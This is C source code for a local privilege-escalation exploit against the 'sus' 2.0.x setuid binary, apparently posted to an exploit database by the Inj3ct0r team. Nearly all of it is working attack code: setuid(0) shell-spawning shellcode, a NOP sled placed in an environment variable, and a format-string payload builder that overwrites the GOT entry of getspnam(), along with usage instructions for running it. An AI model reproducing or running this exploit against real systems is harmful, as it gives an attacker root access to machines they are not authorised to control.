/* 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 _ __ __ __ 1 1 /' \ __ /'__`\ /\ \__ /'__`\ 0 0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1 1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0 0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1 1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0 0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1 1 \ \____/ >> Exploit database separated by exploit 0 0 \/___/ type (local, remote, DoS, etc.) 1 1 1 0 [+] Site : 1337day.com 0 1 [+] Support e-mail : submit[at]1337day.com 1 0 0 1 ######################################### 1 0 I'm Angel Injection member from Inj3ct0r Team 1 1 ######################################### 0 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1 usage: angel@inj3ct0r:~# gcc inj3ct0r.c -o inj3ct0r angel@inj3ct0r:~# ./inj3ct0r ./inj3ct0r -o offset -g GOT address of getspnam() function /usr/bin/sus: file format elf32-i386 usage: inj3ct0r [options] Options: -o [offset] -g [GOT] angel@inj3ct0r:~# ./inj3ct0r -o 2000 -g 0x8049608 Using: retaddr = 0xbffffe88, GOT = 0x8049608, OFFSET = 2000 */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <getopt.h> #define BIN "/usr/bin/sus" char buf[100]; char shallcode[] = // inj3ct0r team demo shellcode with setuid(0) "\x31\xc0\x50\x68\x2f\x2f\x73\x68" "\x68\x2f\x62\x69\x6e\x89\xe3\x50" "\x53\x89\xe1\x99\xb0\x0b\xcd\x80"; char shellcode[] = // inj3ct0r team small shellcode with setuid(0) ;) "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" "\x31\xc0\x50\x68\x2f\x2f\x73\x68" "\x68\x2f\x62\x69\x6e\x89\xe3\x50" "\x53\x89\xe1\x99\xb0\x0b\xcd\x80"; long getsp() { __asm__("movl %esp,%eax"); } // format string creator | xCrZx idea. char *fmt_str_creator(long GOT, long RET, int ALIGN) { long high,low; memset(buf,0x00,sizeof(buf)); high=(RET >> 16) & 0xffff; low = RET & 0xffff; sprintf(buf,"%c%c%c%c%c%c%c%c%%.%dx%%%d$hn%%.%dx%%%d$hn", (char)((GOT&0xff)+2),(char)((GOT>>8)&0xff),(char)((GOT>>16)&0xff),(char)((GOT>>24)&0xff), (char)(GOT&0xff),(char)((GOT>>8)&0xff),(char)((GOT>>16)&0xff),(char)((GOT>>24)&0xff), (high>low)?(low-8):(high-8), (high>low)?(ALIGN+1):(ALIGN), (high>low)?(high-low):(low-high), (high>low)?(ALIGN):(ALIGN+1)); return buf; } void usage() { printf("\nSus 2.0.* local root exploit\n\n"); printf("usage: inj3ct0r [options]\n\nOptions:\n-o [offset] -g [GOT]\n\n"); exit(0); } int main(int argc, char **argv) { long GOT; long RET; int ALIGN = 2, off = 0, opt; char *av[3], *ev[2]; char *hack, buff[100]; hack = (char *)malloc(2000); sprintf(hack, "HACK="); if ( argc < 4 ) { usage(); exit(0); } while ((opt = getopt(argc, argv, "o:g:")) != -1) { switch (opt) { case 'o': off = atoi(optarg); break; case 'g': sscanf(optarg, "0x%x", &GOT); break; default: usage(); } } memset(hack + 5, 0x90, 1000-1-strlen(shellcode)); sprintf(hack + 1000 - strlen(shellcode), "%s", shellcode); RET = getsp()+off; printf("\nUsing: retaddr = 0x%x, GOT = 0x%x, OFFSET = %d\n\n", RET, GOT, off); memset(buff,0x00,sizeof(buf)); sprintf(buff,"%s",fmt_str_creator(GOT+4,RET,ALIGN)); av[0] = BIN; av[1] = buff; av[2] = 0; ev[0] = hack; ev[1] = 0; execve(*av, av, ev); return 0; }